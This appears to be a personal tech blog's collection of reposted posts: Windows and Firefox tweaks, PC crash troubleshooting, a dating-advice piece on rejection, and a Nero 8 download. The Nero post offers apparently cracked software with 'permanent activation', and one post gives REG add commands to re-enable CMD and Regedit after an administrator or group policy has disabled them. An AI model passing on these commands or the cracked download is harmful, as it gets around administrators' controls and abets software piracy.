PC World Best of the 2007 VirusTotal has been awarded by the American edition of PC World Magazine, one of the 100 best products of year 2007 in the Security Web Site category.

For more information or for sending your comments, please write to info@virustotal.com

VirusTotal is a service developed by Hispasec Sistemas, an independent IT Security laboratory, that uses several command line versions of antivirus engines, updated regularly with official signature files published by their respective developers.
This is a list of the companies that participate in VirusTotal with their antivirus engines.

Posted by XERO. ALL RIGHTS RESERVED.
--> Read Full Article...

Follow us on Twitter Follow this blog

NERO 8 ULTRA WITH PERMANENT ACTIVATION AND VISTA READY

Posted by X.E.R.O



NERO 8 ULTRA | PERMANENT ACTIVATION \ VISTA READY

Supported Platforms: Windows XP / 2000 / Vista (including 64bit)

Nero 8
The Ultimate solution for Data, Video, Photo, Audio and BackUp!
Nero 8 is a software solution that brings the digital world to your PC with features that make it fun and easy to create multimedia projects with high-quality, professional results. Create MP3 mixes and edit vacation videos in High Definition format. Share content around the world with simple Internet upload functions. Burn a disc with just one click, and then enjoy it in any room in your house with versatile streaming features. Rest easy knowing your data is safe in the event of a system crash or a damaged disc. Nero 8 lets you live the digital life with cutting-edge technology and world-class features.

Nero 8 comes loaded with a number of features that enhance Windows VistaTM. With the Nero DiscCopy Gadget, you can copy a disc of any format with just one click. With Rich Preview, you can view the contents of your files without having to open a separate application. With Nero MCE Plug-ins, you can burn and stream your content on a Windows Vista™ MCE powered machine.

New and Improved Features in Nero 8:
* Direct access to all features from the project launcher
* High Definition format support
* Xbox 360™ and PlayStation® 3 streaming features
* Blu-ray Disc and HD DVD burning support
* SecurDisc data protection support
* Copy a disc with just one click
* Graphics optimized for Windows Vista™
* Continual free updates

Nero StartSmart makes creating projects fun and simple
Nero StartSmart, the project launcher for Nero 8, lets you directly access features and perform one-click functions. The intuitive interface makes creating and managing digital projects easy and enjoyable. Optimized for use with Windows Vista™, Nero StartSmart even has an integrated newsfeed system.

Nero 8 is the solution for your multimedia projects
Nero 8 has the tools to help you handle all your multimedia projects. Whether you plan to create a music mix with MP3 files, edit vacation videos, touch up digital photos, make a slide show, or convert content to play on a mobile device, your results will be professional and dynamic.

Nero 8 takes home entertainment around the house
Organize and manage all your multimedia files with Nero’s home media center. Nero 8 lets you use your Xbox 360™ or PlayStation® 3 to stream High Definition video content and surround sound audio files to enjoy in the comfort of any room in your house.

Nero 8 offers increased data security
No more worries over losing data! Nero 8 has back up features that let you rest easy knowing your data is safe in case of a complete system crash or a damaged disc. Recover your data quickly and easily and create discs that are password protected. SecurDisc technology gives you peace of mind.

The following applications are included in Nero 8: • Nero Mobile – Media Center for Mobile Devices (Included in the Retail version of Nero 8 only)
• Nero Home 3 – Media Management System
• Nero Scout – Database Technology
• Nero StartSmart 8 – One-Click Project Launcher
• Nero Burning ROM 8 – Expert CD and DVD Burning
• Nero Express 8 – Easy Interface CD and DVD Burning
• Nero WaveEditor 4 – Audio Editing and Recording
• Nero SoundTrax 3 – Professional Audio Mixing
• Nero Vision 5 – Video Editing and Authoring
• Nero Recode 2 – The World’s Fastest Video Converter
• Nero ShowTime 4 – DVD and Multimedia Player
• Nero MediaHome 3 – UPnPTM Streaming Solution
• Nero ControlCenter – Simplified Customization and Configuration
• Nero PhotoSnap – Photo Editing
• Nero PhotoSnap Viewer – Photo Viewing
• Nero CoverDesigner 3 – CD and DVD Label Design
• Nero BackItUp 3 – Complete Backup Solution
• Nero ImageDrive 3 – Virtual Drive Setup
• Nero DiscSpeed 4 – Improve Optical Drive Performance
• Nero DriveSpeed 3 – Complete Optical Drive Control
• Nero RescueAgent – Improved File Recovery
• Nero BurnRights – Easily Deployable Burning Rights
• Nero InfoTool 5 – Drive and Disc Analysis
• InCD 5 – Packet Writing Solution
• SecurDisc Viewer – View SecurDisc protected files

Download
DIRECT LINK FOR NERO
DIRECT LINK FOR NERO (FTP)
PERMANENT ACTIVATION

THANKS TO CHOBSY
--> Read Full Article...

Follow us on Twitter Follow this blog

HOW TO DEAL WITH REJECTION

Posted by X.E.R.O

HOW TO DEAL WITH REJECTION
Most men hate the idea of “rejection”. I’m not talking about “don’t like the idea” or “wish it didn’t happen”… I’m talking hate here. The idea of walking up to a woman and having her reject you causes most men to instantly feel sick in the pit of their stomachs and literally feel a horrible combination of nervousness and confusion.

A guy can psych himself up for an hour to go talk to a woman, but when the moment comes to actually do it, everything changes. The heart rate shoots up, breathing quickens, eyes dart back and forth, thoughts of rejection fill the mind, and eventually the pressure becomes too much to bare.

Most men find this state so scary that they end up deciding to forget about approaching the women… just to end the discomfort. The temptation is great to just “walk away” because just as quickly as the intense nervousness is triggered by the moment one decides to act, it goes away when you decide to “forget about it and walk away”.

The fact that “choosing to walk away” leads to the “instant gratification” of the nervous feeling going away makes it the most popular option. Most of the time (and I’m talking about probably 99% of the time here) men just walk away. They give up before they’ve even started. I find this topic fascinating.

If I just think about it, I can remember many times in my past where I wanted to talk to a woman, but I just didn’t do it. In fact, many of them are so vivid that I can
remember the exact setting, what the girl looked like, who else was there, etc… and I’m talking about situations that happened years ago.

These moments obviously made an impression. I can also remember kicking myself for days afterwards for not approaching and talking to these girls. Can you relate?

The difference between actual rejection and the fear of rejection…

I think it’s important to realize that there’s a big difference between actual rejection (having a girl who is offended, upset, rude, etc. to you when you start talking to her) and the fear of rejection (how you feel when you imagine a woman rejecting you). I’ve found that for me personally, my fear of rejection is actually far, far more painful and difficult to deal with than actual rejection in the real world.

The main reason for this is that most of the time when a man starts talking to a woman, she is actually rather nice about the whole affair.

Men aren’t “rejected” very often! If a woman isn’t interested, she usually just says “I have a boyfriend” or “No thank you”… or she’ll just walk away without saying anything at all.

Out of the hundreds and hundreds and hundreds of times that I’ve approached women, I can’t remember any time that a woman has yelled “Get away from me you loser! You are unattractive and the very thought of going on a date with you makes me sick to my stomach!” I’m sure it’s happened to someone, but it’s never happened to me.

The worst I’ve had is a woman making fun of the words I used (telling me that my pickup line was lame) or just walking away. No slaps, no boyfriends beating me up, and no yelling.

But here’s the kicker… You can experience an intense fear of rejection every time you consider approaching a woman. Imagine, something you can predict with almost perfect accuracy. You can be in any situation, anywhere, anytime, and still have fear of rejection… which will prevent you from approaching a woman. Ah, the power of the human mind.

How to deal with rejection…

A lot of guys ask me, “How do I deal with rejection?”. The answer: Don’t worry about it. If you get “rejected”, you’ll be fine. Really. It’s no big deal, and it doesn’t happen that often. And when it does, you’ll recover shortly thereafter. You’ll find yourself telling your friends about it, and laughing together. Rejection from a woman is about as painful as getting a “D” on a test. It’s basically insignificant.

The real question is “How do I deal with my fear of rejection?”. If you can overcome your imaginary fear of rejection, you’ll be on your way. (Some guys have a type of fear that they might call “terror” when thinking of approaching women.)

Why women reject men…

Now let’s talk about those rare instances where a woman actually rejects a man.

For the sake of this discussion, I want to define “rejection” as a woman doing something that lets you know that she’s upset and offended that you started talking to her, and she responds in a mean or vicious way to make you go away.

I do not consider a woman walking away without stopping to talk to you, her saying “No thank you”, or any other time when a woman just simply doesn’t engage to be “rejection”. If you do consider these things to be rejection, please stop reading now, call your mom into your room, and tell her that it’s time you grew up and moved out… and that she’ll get over the fact that she can’t choose your clothes for you and hug you when you have a boo-boo anymore.

I digress…

I’ve found that there are a few main reasons why women actually do reject men (by the way, it’s very rare that I actually get “rejected” anymore… it’s probably happened to me once in the last 100 times I’ve started a conversation with a woman… because I don’t do dumb-ass things anymore).

Here are the main ones:

  1. The guy isn’t paying attention, and he does something stupid to begin with.

Some guys think it’s appropriate to walk up to a woman, put their arm around her, and say, “Hey baby, you sure do look hot tonight”.

Some guys don’t see anything wrong with following a woman around all night, staring at her constantly, then walking over with a nervous, sweaty-palmed, stalkerish look and saying, “You remind me of my sister”.

These are bad ideas.

  1. The guy doesn’t stop when he should.

If two women are sitting alone at a table in the corner, and one of them is obviously upset, and you walk over to them and say, “Hi, can I buy you a drink?”… and the upset one looks at you and says, “No thanks, we’re in the middle of a conversation” (then looks away from you back at her friend)… and you say, “Aw, cummon, have a drink. You need to lighten up and have some fun”… and she looks back at you and says firmly, “We’re busy”… and you say, “What, are you in a bad mood or something? I’m just trying to buy you a drink”… and she says, “We don’t want a drink”… and you say, “Well maybe your friend does”… and the friend says, “No, I don’t want one either”…

OK, hopefully you get it.

If you ever do something like this, you are a dumb ass, and you deserve to be slapped and have 47 drinks thrown in your lap.

  1. Making a woman nervous with your body language.

If you start talking to a woman, but your posture is weak and slumped, your eyes are darting around but not meeting hers, and you’re wearing an unbuttoned flannel shirt with one of the tails tucked in, you’re probably not going to get a favorable response.

If you creep a woman out, things aren’t going to work for you.

  1. Not understanding a woman’s body language and other communication.

When you start talking to a woman, she will let you know within a very short time if she’s receptive to talking to you.

If you’ve been reading too many books that say “A woman will signal her availability and interest by flipping her hair, licking her lips, and cocking her head coyly at you”, then get over it. This stuff happens to Brat Pitt, not to you. And if it does happen to you, then skip this part.

When you first start talking to a woman she’s either going to keep talking to you in an open, comfortable way or she’s not. She’s either going to act like things are cool or she’s going to act like they’re not.

This is an amazing thought, but women get nervous too. They will often stop talking just because they can’t think of anything to say, etc. But you need to pay attention. Experience is the best teacher here.

My simple point is that most guys cause rejection by what they’re doing. They aren’t paying attention, or they’re doing things that are offensive. If you just avoid a few major mistakes, learn how to start conversations with women, and do a few simple things right, you’ll all but totally avoid “rejection” from the women you approach.

How to overcome fear of rejection

The real obstacle here is the fear. As I mentioned, fear of rejection, or imagining rejection when you should be imagining success, leads to walking away. You miss 100% of the shots you don’t take.

Ironically, I’ve found that the best way to overcome my own fear of rejection was to see that it wasn’t going to actually happen. The more times I approached women and started conversations and the more I saw that women usually responded positively, the less I imagined things going wrong. This led to a positive feedback loop of me wanting to approach more women and have more success.

Here are a few ideas for overcoming your own fear of rejection:

  1. Go out to a bar, and watch men approaching women.

Take a Saturday night, and just go out alone. Find a seat at the bar where things are busy, and just watch. Make sure you visit a place that is really busy, so you can see a lot of people interacting.

Now, pay attention. You’ll begin to pick out the guys who are approaching a lot of women, asking them to dance, buying them drinks, etc. Watch what happens. You’ll be able to see for yourself that most of the time, even if the woman isn’t interested, nothing bad happens.

You’ll also see that when a guy tries to grab a woman who’s walking by, makes a crude sexual comment, or just keeps talking when a woman isn’t interested, that the woman’s feelings might escalate and she’ll respond negatively.

You can watch what works and what doesn’t right in front of your own eyes. This will start to reprogram your mind that women don’t usually “reject” men, even in the most intense situations where they’re being approached all night.

  1. Start small.

If you have to, start by talking to women who are paid to talk to you. Go to a mall (one of my favorites). Stores in malls hire attractive young women. Walk into every store, and start conversations. Practice making eye contact.

Come up with a few jokes that you can use in any situation (”So, do you own this store? Perfect, then you won’t care if I just take some things…”). Ask the salesgirls to smell your new cologne (the one you sprayed on your wrist next door) and give you her opinion.

The more you do this, the more you’ll get used to starting conversations with women you don’t know, and having comfortable conversations.

  1. Choose one default thing for each situation.

It amazes me that guys don’t think ahead. They don’t plan what they’re going to do. As the old saying goes “By failing to plan, you plan to fail”.

You really need to figure out a default thing you can do to start a conversation with any woman, anywhere, anytime. Once you come up with your idea, mentally rehearse it until you could do it in any situation.

Then get out and do it.

How to avoid rejection and increase succes

Human beings tend to want to “save face” when it comes to relationships. We don’t like the idea that another person has outright “rejected” us, and we also tend to not want to “hurt other people’s feelings” by rejecting them. This is one of the reasons why women will often lie and say “I have a boyfriend” when they don’t.

You must become aware of these “subconscious” processes and motivations, work with them, and eventually become the master of them.

Learn to recognize when a woman is “politely saying no thanks”, and move on. If a woman isn’t interested in you, forget about it. It doesn’t matter. Go to the next one. There are plenty.

SEDUCTION TUTOR

Thanks to seductiontutor.com
--> Read Full Article...

Follow us on Twitter Follow this blog

Add Simple POP3 Mail Client and Notifier to Firefox

Posted by X.E.R.O

Add Simple POP3 Mail Client and Notifier to Firefox

If you like to have your entire computing experience within your Firefox window, you might be interested in accessing your POP email accounts directly in Firefox. The Simple Mail extension gives you this functionality, and true to the name it's very simple.

After installation, you should notice the little mail icon in the status bar, which will highlight and display an unread count if there are new messages, but first you'll want to right-click it and open the preferences to add your new account.

image

Here you can add a new account or import from Thunderbird (a feature I did not test)

image

Left-clicking on the mail icon will open the mail client interface, nothing more than a two-paned display of the messages sitting on your server. You can choose to delete the individual message through the right-click menu.

image

The new or reply options bring up the new email dialog, which is also really simple.

image

Thoughts

I would personally only use this as a pop mail notifier, as the client interface is just far too simple for any serious usage. There are much better options that you could use:

  • Forward your POP email directly to Gmail and access it from there.
  • Sign up for Google Apps for your Domain and use Gmail with your own email domain.
  • Use Gmail's Settings\Accounts tab to add in a POP email account that gmail will check for you.

You can use any of those options in conjunction with the excellent Gmail Manager extension for Firefox.

--> Read Full Article...

Follow us on Twitter Follow this blog

Save CPU and RAM: Disable the Indexing Service on Windows XP

Posted by X.E.R.O

Save CPU and RAM: Disable the Indexing Service on Windows XP

If there is one bloated and unnecessary service that you should immediately disable, it's definitely the Indexing Service built into Windows XP. The idea behind it is that you can search for files more quickly if it is enabled…. but you are using Google Desktop for that, right?

The indexing service seems to eat up a lot of CPU on every machine I've used, especially when you have the amount of files that I've got. Let's disable it.

  1. Navigate to the Services console via Administrative Tools.
  2. Double-click on the Indexing Service and change the startup type to disabled.
  3. Hit the stop button if it is started, which is likely, and then hit OK.

Yet another unnecessary service stopped!

--> Read Full Article...

Follow us on Twitter Follow this blog

Speed Up or Disable Windows Search Indexing in Vista

Posted by X.E.R.O

Speed Up or Disable Windows Search Indexing in Vista

The new indexing service built into Windows Vista has been the subject of a lot of complaints, since it seems to kick in at strange times and thrash your hard drive. So what can we do to speed this up?

There's two options: You can either trim down the amount of files that Windows Search is indexing, or you can disable it entirely if you never use the search.

Trim Down Indexing Locations

The best way to trim down the amount of processor time the indexing service uses is by trimming down the amount of files being indexed. For instance, if you don't regularly search through your C: drive, there's really no need to be indexing it.

Personally, I love the search function for Outlook and the Start Menu, but that's the only places I care about indexing.

Type Indexing into the control panel search or the start menu search box, and you should see an item called Indexing Options.

image

Here you can see the current list of locations that are being indexed. For instance, I only index the start menu and Outlook. If you want to modify or remove locations, use the Modify button.

image

All you have to do to remove a location from being indexed is uncheck the box. You might have to click the Show All Locations button to see some of the default locations.

image

If you wanted to remove the start menu indexing, you'll need to click on Start Menu in the summary list at the bottom, and it'll automatically navigate to the item in the tree.

image

The start menu indexing really doesn't take much processing time though, so I wouldn't bother removing that.

Completely Disable Indexing

If you'd prefer to completely disable the indexing service, you can disable it entirely by turning off the service.

Open up Services through control panel, or by typing services.msc into the start menu search box. Find "Windows Search" in the list of services and double-click on it to open it.

image

Change the Startup type of the service to Disabled, and then click the Stop button to stop the service.

image

At this point the Windows Search service is completely disabled.



Thanks To THE GEEK

--> Read Full Article...

Follow us on Twitter Follow this blog

Remove Optional and Probably Unnecessary Windows Vista Components

Posted by X.E.R.O

In the never-ending quest to rid your computer of unnecessary bloat, Windows Vista has a lot less options than prior versions, but you can still get rid of some of the extra Windows components that you don't need.
Open up Control Panel and go to the Programs and Features section. Find the link for "Turn Windows features on or off" (or you could just search for it)
image
This dialog is quite self-explanatory… uncheck the things you don't want, and hit the OK button. Depending on the version of Vista you are running you might not see everything in the list.
image
Guidelines, Not Set In Stone
Just to get you started, here's a few tips on what an average user might want to enable or disable. The rules will be different for everybody, depending on your applications and needs, so don't take these as absolute.
ActiveX Installer Service No Do you really want anything to do with ActiveX?
Games Why Not Your productivity can only increase with Spider Solitaire on your computer.
Indexing Service No This is the old indexing service that is no longer needed in Vista.
Internet Information Service No Used for hosting websites on your computer.
Microsoft .NET Framework 3.0 No Used for the new .NET 3.0 components, but only really needed for programmers.
Microsoft Message Queue (MSMQ) Server No Used by programmers as a way to reliably queue messages.
Print Services No You only need this if you use internet printers and like to kill trees. Our rainforests are depending on you disabling this service.
Remote Differential Compression Maybe This is likely required for utilities that use the network to download files. If it is enabled, don't mess with it.
Removable Storage Management No The only reason you'd need this is if you are restoring from old NTBACKUP files.
RIP Listener No You won't need this, it's a routing protocol.
Services for NFS No This can be used to map a drive to a linux NFS server. Unlikely you'd need it since Samba works so well.
SNMP Feature No This is used for management systems in workplace networks. You don't need it.
Subsystem for UNIX-based Applications No This is used for compatibility with certain applications based on UNIX… you don't need it.
Tablet PC Optional Components Maybe If you have a Tablet PC, you should enable this. If you don't, you may still want to because this includes the Snipping Tool.
Telnet Client AVOID You should never use telnet. Ever.
Telnet Server AVOID You should never use telnet. Ever.
TFTP Client AVOID TFTP was used by many of the early internet worms… there's a reason it's disabled by default.
Windows DFS Replication Service No This is only really used in work environments. Don't bother with this if you are a home user.
Windows Fan and Scan No Why anybody still faxes anything is beyond me.
Windows Meeting Space No If you don't use Windows Meeting Space or the "People Near Me" feature, don't bother with this.
Windows PowerShell No PowerShell is a more advanced command line geared towards programmers and system administrators.
Windows Process Activation Service Probably This is likely required to support some .NET applications, so I wouldn't change whatever it's currently set to.
Windows Ultimate Extras Maybe If you like the extras, then enable them. (Ultimate Only)
Hopefully this will help somebody!



Thanks to THE GEEK
--> Read Full Article...

Follow us on Twitter Follow this blog

Add "Run as Administrator" to Any File Type in Windows Vista

Posted by X.E.R.O

Add "Run as Administrator" to Any File Type in Windows Vista

Have you ever tried to unzip a file to the Program Files directory in Vista? You'll get all sorts of permission denied errors, and generally be unsuccessful. So how do we open up the zipfile as an administrator? For that matter, how do you open any file as administrator?

There's a simple registry tweak that will let us specify the action to run as administrator for a file type. Unfortunately you'll have to make the tweak manually, but we'll walk you through it.

Manual Registry Tweak

Open regedit through the start menu search or run box and then browse down to the following key, substituting ".zip" for the file extension that you are looking for. (Note that the find dialog helps here)

HKEY_CLASSES_ROOT\.zip

image

Now you want to take note of the Data value for the "(Default)" item. This tells you which application is registered to handle this file type, and also where we need to go in the registry next.

For this example, since the data field in this example says "WinRAR.ZIP" we'll need to browse down to the following registry key. (again, the find dialog helps here)

HKEY_CLASSES_ROOT\WinRAR.ZIP\shell\open\command

What we want to do is copy the shell\open\command section to shell\runas\command. The easiest way to do that is right-click on "command" and then choose Export.

image

Now open up the exported registry file in Notepad and change "open" to "runas" where indicated below:

image

Double-click on the file to enter the information into the registry. Now you'll see that the "runas" section is identical to the "open" section:

image

And now you can right-click on a file and open it as administrator:

image

This example used WinRAR, but this should work for almost any filetype or application. You'll just have to change where you look in the registry.

--> Read Full Article...

Follow us on Twitter Follow this blog

Enable Hidden BootScreen in Windows Vista

Posted by X.E.R.O

Enable Hidden BootScreen in Windows Vista

The Windows Vista BootScreen is pointless, but Microsoft decided to hide a more visually appealing boot screen that can easily be enabled with very little trouble. I'm not sure why they didn't make the boot screen better.

Here's the default boot screen:

And here's the hidden one, called "Aurora"

All you have to do is type msconfig into the start menu search box, and hit enter.

Click the Boot tab, and then check the "No GUI boot" checkbox.

Hit OK and reboot the computer. You should see the new boot screen immediately.

Note: You may get a Windows Defender error on the next startup. You can enable the system config utility using the tray icon and this error will go away.

--> Read Full Article...

Follow us on Twitter Follow this blog

Add "My Computer" to Your Vista Taskbar

Posted by X.E.R.O

Add "My Computer" to Your Vista Taskbar

I like to have the quickest access possible to folders on my desktop, which usually means putting something onto the taskbar if possible. You can add the Computer menu as a folder on the taskbar for the easiest access to your drives. You could also use this tip for any folder you want.

To add a folder to the taskbar, just right-click on the taskbar and choose the Toolbars menu, and then click on New Toolbar.

image

Just find the folder that you want… in this instance we'll select the Computer icon and then click on Select Folder.

image

Now you can see the Computer folder right there on the taskbar. If you click the little arrows it will pop up and let you browse through all your drives.

image

I always add the Desktop to the toolbar as well.

--> Read Full Article...

Follow us on Twitter Follow this blog

10 Reasons Why Pcs Crash

Posted by X.E.R.O

10 Reasons Why Pcs Crash

Fatal error: the system has become unstable or is busy," it says. "Enter to return to Windows or press Control-Alt-Delete to restart your computer. If you do this you will lose any unsaved information in all open applications."


You have just been struck by the Blue Screen of Death. Anyone who uses Mcft Windows will be familiar with this. What can you do? More importantly, how can you prevent it happening?

1) Hardware conflict

The number one reason why Windows crashes is hardware conflict. Each hardware device communicates to other devices through an interrupt request channel (IRQ). These are supposed to be unique for each device.

For example, a printer usually connects internally on IRQ 7. The keyboard usually uses IRQ 1 and the floppy disk drive IRQ 6. Each device will try to hog a single IRQ for itself.

If there are a lot of devices, or if they are not installed properly, two of them may end up sharing the same IRQ number. When the user tries to use both devices at the same time, a crash can happen. The way to check if your computer has a hardware conflict is through the following route:

* Start-Settings-Control Panel-System-Device Manager.

Often if a device has a problem a yellow '!' appears next to its description in the Device Manager. Highlight Computer (in the Device Manager) and press Properties to see the IRQ numbers used by your computer. If the IRQ number appears twice, two devices may be using it.

Sometimes a device might share an IRQ with something described as 'IRQ holder for PCI steering'. This can be ignored. The best way to fix this problem is to remove the problem device and reinstall it.

Sometimes you may have to find more recent drivers on the internet to make the device function properly. A good resource is www.driverguide.com. If the device is a soundcard, or a modem, it can often be fixed by moving it to a different slot on the motherboard (be careful about opening your computer, as you may void the warranty).

When working inside a computer you should switch it off, unplug the mains lead and touch an unpainted metal surface to discharge any static electricity.

To be fair to Mcft, the problem with IRQ numbers is not of its making. It is a legacy problem going back to the first PC designs using the IBM 8086 chip. Initially there were only eight IRQs. Today there are 16 IRQs in a PC. It is easy to run out of them. There are plans to increase the number of IRQs in future designs.

2) Bad Ram

Ram (random-access memory) problems might bring on the blue screen of death with a message saying Fatal Exception Error. A fatal error indicates a serious hardware problem. Sometimes it may mean a part is damaged and will need replacing.

But a fatal error caused by Ram might be caused by a mismatch of chips. For example, mixing 70-nanosecond (70ns) Ram with 60ns Ram will usually force the computer to run all the Ram at the slower speed. This will often crash the machine if the Ram is overworked.

One way around this problem is to enter the BIOS settings and increase the wait state of the Ram. This can make it more stable. Another way to troubleshoot a suspected Ram problem is to rearrange the Ram chips on the motherboard, or take some of them out. Then try to repeat the circumstances that caused the crash. When handling Ram try not to touch the gold connections, as they can be easily damaged.

Parity error messages also refer to Ram. Modern Ram chips are either parity (ECC) or non parity (non-ECC). It is best not to mix the two types, as this can be a cause of trouble.

EMM386 error messages refer to memory problems but may not be connected to bad Ram. This may be due to free memory problems often linked to old Dos-based programmes.

3 )BIOS settings

Every motherboard is supplied with a range of chipset settings that are decided in the factory. A common way to access these settings is to press the F2 or delete button during the first few seconds of a boot-up.

Once inside the BIOS, great care should be taken. It is a good idea to write down on a piece of paper all the settings that appear on the screen. That way, if you change something and the computer becomes more unstable, you will know what settings to revert to.

A common BIOS error concerns the CAS latency. This refers to the Ram. Older EDO (extended data out) Ram has a CAS latency of 3. Newer SDRam has a CAS latency of 2. Setting the wrong figure can cause the Ram to lock up and freeze the computer's display.

Mcft Windows is better at allocating IRQ numbers than any BIOS. If possible set the IRQ numbers to Auto in the BIOS. This will allow Windows to allocate the IRQ numbers (make sure the BIOS setting for Plug and Play OS is switched to 'yes' to allow Windows to do this.).

4 )Hard disk drives

After a few weeks, the information on a hard disk drive starts to become piecemeal or fragmented. It is a good idea to defragment the hard disk every week or so, to prevent the disk from causing a screen freeze. Go to

* Start-Programs-Accessories-System Tools-Disk Defragmenter

This will start the procedure. You will be unable to write data to the hard drive (to save it) while the disk is defragmenting, so it is a good idea to schedule the procedure for a period of inactivity using the Task Scheduler.

The Task Scheduler should be one of the small icons on the bottom right of the Windows opening page (the desktop).

Some lockups and screen freezes caused by hard disk problems can be solved by reducing the read-ahead optimisation. This can be adjusted by going to

* Start-Settings-Control Panel-System Icon-Performance-File System-Hard Disk.

Hard disks will slow down and crash if they are too full. Do some housekeeping on your hard drive every few months and free some space on it. Open the Windows folder on the C drive and find the Temporary Internet Files folder. Deleting the contents (not the folder) can free a lot of space.

Empty the Recycle Bin every week to free more space. Hard disk drives should be scanned every week for errors or bad sectors. Go to

* Start-Programs-Accessories-System Tools-ScanDisk

Otherwise assign the Task Scheduler to perform this operation at night when the computer is not in use.

5) Fatal OE exceptions and VXD errors

Fatal OE exception errors and VXD errors are often caused by video card problems.

These can often be resolved easily by reducing the resolution of the video display. Go to

* Start-Settings-Control Panel-Display-Settings

Here you should slide the screen area bar to the left. Take a look at the colour settings on the left of that window. For most desktops, high colour 16-bit depth is adequate.

If the screen freezes or you experience system lockups it might be due to the video card. Make sure it does not have a hardware conflict. Go to

* Start-Settings-Control Panel-System-Device Manager

Here, select the + beside Display Adapter. A line of text describing your video card should appear. Select it (make it blue) and press properties. Then select Resources and select each line in the window. Look for a message that says No Conflicts.

If you have video card hardware conflict, you will see it here. Be careful at this point and make a note of everything you do in case you make things worse.

The way to resolve a hardware conflict is to uncheck the Use Automatic Settings box and hit the Change Settings button. You are searching for a setting that will display a No Conflicts message.

Another useful way to resolve video problems is to go to

* Start-Settings-Control Panel-System-Performance-Graphics

Here you should move the Hardware Acceleration slider to the left. As ever, the most common cause of problems relating to graphics cards is old or faulty drivers (a driver is a small piece of software used by a computer to communicate with a device).

Look up your video card's manufacturer on the internet and search for the most recent drivers for it.

6) Viruses

Often the first sign of a virus infection is instability. Some viruses erase the boot sector of a hard drive, making it impossible to start. This is why it is a good idea to create a Windows start-up disk. Go to

* Start-Settings-Control Panel-Add/Remove Programs

Here, look for the Start Up Disk tab. Virus protection requires constant vigilance.

A virus scanner requires a list of virus signatures in order to be able to identify viruses. These signatures are stored in a DAT file. DAT files should be updated weekly from the website of your antivirus software manufacturer.

An excellent antivirus programme is McAfee VirusScan by Network Associates ( www.nai.com). Another is Norton AntiVirus 2000, made by Symantec ( www.symantec.com).

7) Printers

The action of sending a document to print creates a bigger file, often called a postscript file.

Printers have only a small amount of memory, called a buffer. This can be easily overloaded. Printing a document also uses a considerable amount of CPU power. This will also slow down the computer's performance.

If the printer is trying to print unusual characters, these might not be recognised, and can crash the computer. Sometimes printers will not recover from a crash because of confusion in the buffer. A good way to clear the buffer is to unplug the printer for ten seconds. Booting up from a powerless state, also called a cold boot, will restore the printer's default settings and you may be able to carry on.

8) Software

A common cause of computer crash is faulty or badly-installed software. Often the problem can be cured by uninstalling the software and then reinstalling it. Use Norton Uninstall or Uninstall Shield to remove an application from your system properly. This will also remove references to the programme in the System Registry and leaves the way clear for a completely fresh copy.

The System Registry can be corrupted by old references to obsolete software that you thought was uninstalled. Use Reg Cleaner by Jouni Vuorio to clean up the System Registry and remove obsolete entries. It works on Windows 95, Windows 98, Windows 98 SE (Second Edition), Windows Millennium Edition (ME), NT4 and Windows 2000.

Read the instructions and use it carefully so you don't do permanent damage to the Registry. If the Registry is damaged you will have to reinstall your operating system. Reg Cleaner can be obtained from www.jv16.org

Often a Windows problem can be resolved by entering Safe Mode. This can be done during start-up. When you see the message "Starting Windows" press F4. This should take you into Safe Mode.

Safe Mode loads a minimum of drivers. It allows you to find and fix problems that prevent Windows from loading properly.

Sometimes installing Windows is difficult because of unsuitable BIOS settings. If you keep getting SUWIN error messages (Windows setup) during the Windows installation, then try entering the BIOS and disabling the CPU internal cache. Try to disable the Level 2 (L2) cache if that doesn't work.

Remember to restore all the BIOS settings back to their former settings following installation.

9) Overheating

Central processing units (CPUs) are usually equipped with fans to keep them cool. If the fan fails or if the CPU gets old it may start to overheat and generate a particular kind of error called a kernel error. This is a common problem in chips that have been overclocked to operate at higher speeds than they are supposed to.

One remedy is to get a bigger better fan and install it on top of the CPU. Specialist cooling fans/heatsinks are available from www.computernerd.com or www.coolit.com

CPU problems can often be fixed by disabling the CPU internal cache in the BIOS. This will make the machine run more slowly, but it should also be more stable.

10) Power supply problems

With all the new construction going on around the country the steady supply of electricity has become disrupted. A power surge or spike can crash a computer as easily as a power cut.

If this has become a nuisance for you then consider buying a uninterrupted power supply (UPS). This will give you a clean power supply when there is electricity, and it will give you a few minutes to perform a controlled shutdown in case of a power cut.

It is a good investment if your data are critical, because a power cut will cause any unsaved data to be lost.


Thanks to Zain92
--> Read Full Article...

Follow us on Twitter Follow this blog

Enabiling Cmd + Regedit When It's Disabled By Admin / Group Policy

Posted by X.E.R.O

Enabiling Cmd + Regedit When It's Disabled By Admin / Group Policy

CMD:

Step 1:
Create a new shortcut
Step 2:
Add the following to the shortcut:

REG add HKCU\Software\Policies\Microsoft\Windows\System /v DisableCMD /t REG_DWORD /d 0 /f


Regedit:

Step 1:
Create shortcut
Step 2:
Add the following to the shortcut:

REG add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableRegistryTools /t REG_DWORD /d 0 /f
Back register keys b4 u try this

Thanks to Zain92
--> Read Full Article...

Follow us on Twitter Follow this blog

Firefox Extensions Collection Pack 2008

Posted by X.E.R.O


This package contains 58 extensions to boost your productivity including custom extension images. You can install any of these extensions seperatly or all at once. Vista-Black theme included.

1. 2 Pane Bookmarks 0.3.2007033002 - shows the Bookmarks sidebar panel with 2 pane style like 0pera.
2. Active Stop Button 1.2 - Always active toolbar stop button.
3. Adblock Filterset.G Updater 0.3.0.5 - Synchronizes Adblock with Filterset.G
4. Adblock Plus 0.7.2.4 - Ads were yesterday!
5. Adblock Plus: Element Hiding Helper 1.0.1 - Helps you create element hiding rules for Adblock Plus to fight the text ads.
6. All-in-One Sidebar 0.7.1 - Sidebar control with award-winning user experience!
7. ColorZilla 1.0 - Advanced Eyedropper, ColorPicker, Page Zoomer and other colorful goodies
8. CoLT 2.2.1 - Adds a Copy Link Text item to the browser's context menu.
9. Compact Library Extension Organizer (CLEO) 2.0 - Compact Library Extension Organizer (CLEO)
10. Cooliris Previews 2.1 - A simple and powerful way of navigating through Google search results and Google image searches! Cooliris was designed to be an 'intuitive' way of browsing
11. CustomizeGoogle 0.55 - Enhance Google search results and remove ads and spam.
12. CuteMenus - Crystal SVG 1.9.0.4 - Adds icons to all menus.
13. Distrust 0.6.0 - Hide surfing trails that the browser leaves behind
14. Download Embedded 0.5 - Downloads all embedded objects on a webpage.
15. Download Sort 2.5.7 - Automatically save downloads to different directories.
16. Download Statusbar 0.9.4.6 - View and manage downloads from a tidy statusbar
17. dragdropupload 1.5.22 - This extension helps you to upload files
